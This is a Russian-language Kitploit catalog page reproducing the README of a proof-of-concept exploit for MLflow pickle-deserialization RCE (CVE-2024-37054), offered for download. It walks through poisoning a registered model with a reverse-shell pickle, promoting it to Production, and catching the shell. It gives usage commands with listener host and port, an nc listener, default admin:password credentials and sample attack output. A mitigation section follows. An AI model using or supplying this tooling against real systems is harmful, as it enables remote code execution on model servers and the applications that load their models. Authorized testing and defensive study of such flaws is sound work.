Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-37054 — Proof-of-concept, который отравляет зарегистрированные модели MLflow через REST API, внедряя вредоносный pickle для запуска RCE при загрузке модели. | Kitploit
Инструменты/GitHubGitHub/bardlaudian/cve-2024-37054
Оборонительные ИнструментыАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеМашинное ОбучениеRed TeamingРазработка Полезной НагрузкиБезопасность ИИ
GitHubbardlaudian/cve-2024-37054

CVE-2024-37054

Proof-of-concept, который отравляет зарегистрированные модели MLflow через REST API, внедряя вредоносный pickle для запуска RCE при загрузке модели.

11 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Репозиторий
Поделиться

mlflow-pickle-rce

Универсальный proof-of-concept для RCE через десериализацию pickle в реестрах моделей MLflow (в стиле CVE-2024-37054). Взаимодействует только с MLflow REST API — без предположений о каком-либо конкретном клиентском приложении перед ним.

⚠️ Только для авторизованного тестирования безопасности. Запускайте это только против систем, которыми вы владеете или которые вам явно разрешено тестировать (CTF/лабораторные среды, проекты с подписанным скоупом и т. д.). Неавторизованный доступ к компьютерным системам незаконен в большинстве юрисдикций.

Уязвимость

Flavor pyfunc в MLflow загружает зарегистрированную модель путём распаковки pickle артефакта model.pkl всякий раз, когда вызывается mlflow.pyfunc.load_model() — будь то напрямую через MLflow UI/API или косвенно через какое-либо клиентское приложение, выполняющее инференс против зарегистрированной модели.

Модуль pickle в Python может выполнять произвольный код во время десериализации через метод __reduce__ объекта. Если у атакующего достаточно доступа к MLflow API, чтобы:

  1. создать запуск эксперимента,
  2. загрузить артефакты в этот запуск, и
  • зарегистрировать версию модели, указывающую на эти артефакты,
  • ...он может протащить вредоносный pickle в качестве model.pkl. В следующий раз, когда что-либо загрузит эту версию модели, код атакующего выполнится в контексте процесса, выполняющего загрузку (сам сервер MLflow или клиентское приложение, встраивающее MLflow).

    Это тот же базовый примитив, лежащий в основе нескольких CVE MLflow, включая CVE-2023-6015, CVE-2023-6018 и CVE-2024-37054. Он особенно опасен, потому что экземпляры MLflow часто развёртываются без аутентификации или с общеизвестными учётными данными по умолчанию (admin:password).

    Что делает этот скрипт

    Полностью управляется через API, по порядку:

    1. Проверяет доступ к API (HTTP basic auth).
    2. Создаёт зарегистрированную модель (или переиспользует ту, к которой у вас уже есть доступ, через --model-name).
    3. Создаёт запуск в заданном эксперименте.
    4. Собирает и загружает:
      • model.pkl — pickle, чей __reduce__ вызывает os.system() для запуска reverse shell.
      • MLmodel — манифест, объявляющий flavor python_function / sklearn, опирающийся на этот pickle.
    5. Регистрирует новую версию модели, указывающую на эти артефакты.
    6. Опционально переводит эту версию в заданную стадию (по умолчанию: Production), поскольку многие клиентские приложения загружают только версию модели, находящуюся в стадии Production.

    Что этот скрипт НЕ делает

    Он не обнаруживает и не инициирует фактическую загрузку модели — эта часть отличается для каждого развёртывания:

    • Иногда сам MLflow UI/API загружает модель напрямую.
    • Иногда отдельное клиентское приложение вызывает mlflow.pyfunc.load_model() за каким-либо эндпоинтом (маршрут /predict, запланированное пакетное задание и т. д.).

    Вам нужно:

    • Самостоятельно получить целевой --model-name — из MLflow UI, MLflow API (/api/2.0/mlflow/registered-models/search) или из того, что возвращает клиентское приложение, когда регистрирует модель от вашего имени.
    • Самостоятельно инициировать загрузку — так, как это делает целевая система.

    Требования

    root@kitploit:~
    pip install requests --break-system-packages
    

    Python 3.8+. Других зависимостей нет.

    Использование

    root@kitploit:~
    python3 mlflow_pickle_rce.py \
        --mlflow http://mlflow.target.tld \
        --model-name my-target-model \
        --lhost 10.10.14.1 --lport 4444
    

    Запустите слушатель до или после запуска:

    root@kitploit:~
    nc -lvnp 4444
    

    Затем инициируйте загрузку так, как это делает целевое приложение (собственный эндпоинт инференса, пакетное задание, ручная загрузка модели из MLflow UI и т. д.).

    Все опции

    ФлагПо умолчаниюОписание
    --mlflow(обязательно)Базовый URL MLflow
    --model-nameслучайноИмя зарегистрированной модели для отравления; создаётся, если не существует
    --lhost(обязательно)IP вашего слушателя
    --lport4444Порт вашего слушателя
    --usernameadminИмя пользователя для basic auth MLflow
    --passwordpasswordПароль для basic auth MLflow
    --experiment-id0ID эксперимента, в котором создаётся запуск
    --stageProductionСтадия, в которую переводится вредоносная версия, или none для пропуска перехода

    Пример сессии

    root@kitploit:~
    $ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
        --model-name my-target-model --lhost 10.10.14.1 --lport 4444
    [*] Verifying MLflow access at http://mlflow.target.tld ...
    [+] MLflow API reachable (200)
    [*] Ensuring registered model 'my-target-model' exists ...
    [+] Model 'my-target-model' already exists, reusing it
    [*] Creating run under experiment 0 ...
    [+] Run ID: 3f9b1c2a...
    [*] Uploading MLmodel ...
    [+] MLmodel upload: 200
    [*] Uploading model.pkl ...
    [+] model.pkl upload: 200
    [*] Registering malicious model version for 'my-target-model' ...
    [+] Model version: 200 - {...}
    [*] Transitioning version 2 to stage 'Production' ...
    [+] Stage transition: 200
    
    [+] Malicious model version is registered.
    [+] Model name: my-target-model
    [+] Listener: nc -lvnp 4444
    [+] Now trigger whatever loads this model version in the target app
        (e.g. its /predict endpoint, or wait for a scheduled job that
         calls mlflow.pyfunc.load_model() on it).
    

    Обнаружение и меры противодействия (заметки по защите)

    • Никогда не выставляйте tracking/model server MLflow без аутентификации и никогда не оставляйте учётные данные по умолчанию (admin:password).
    • Ограничьте, кто может регистрировать версии моделей. Регистрация версии модели эквивалентна выполнению произвольного кода на всём, что позже её загрузит — относитесь к этому разрешению так же, как к доступу на деплой.
    • Не распаковывайте недоверенные артефакты. Где возможно, используйте flavors/форматы сериализации MLflow, не полагающиеся на pickle (например, ONNX или flavors с более безопасной сериализацией), либо валидируйте/изолируйте загрузку моделей.
    • Отслеживайте неожиданные вызовы registered-models/create, model-versions/create и transition-stage в журналах аудита/доступа MLflow, особенно от учётных записей, которые не должны публиковать модели в Production.
    • Сегментируйте сеть для процесса, загружающего модели (сервер MLflow и/или любое клиентское приложение, вызывающее load_model()), чтобы примитив выполнения кода там не имел прямого пути к чувствительным внутренним системам.

    Ссылки

    • CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 — проблемы десериализации pickle в MLflow (ищите в NVD/MITRE актуальные рекомендации и диапазоны уязвимых версий).
    • Документация MLflow REST API

    Лицензия

    MIT — см. LICENSE.

    Скачать инструмент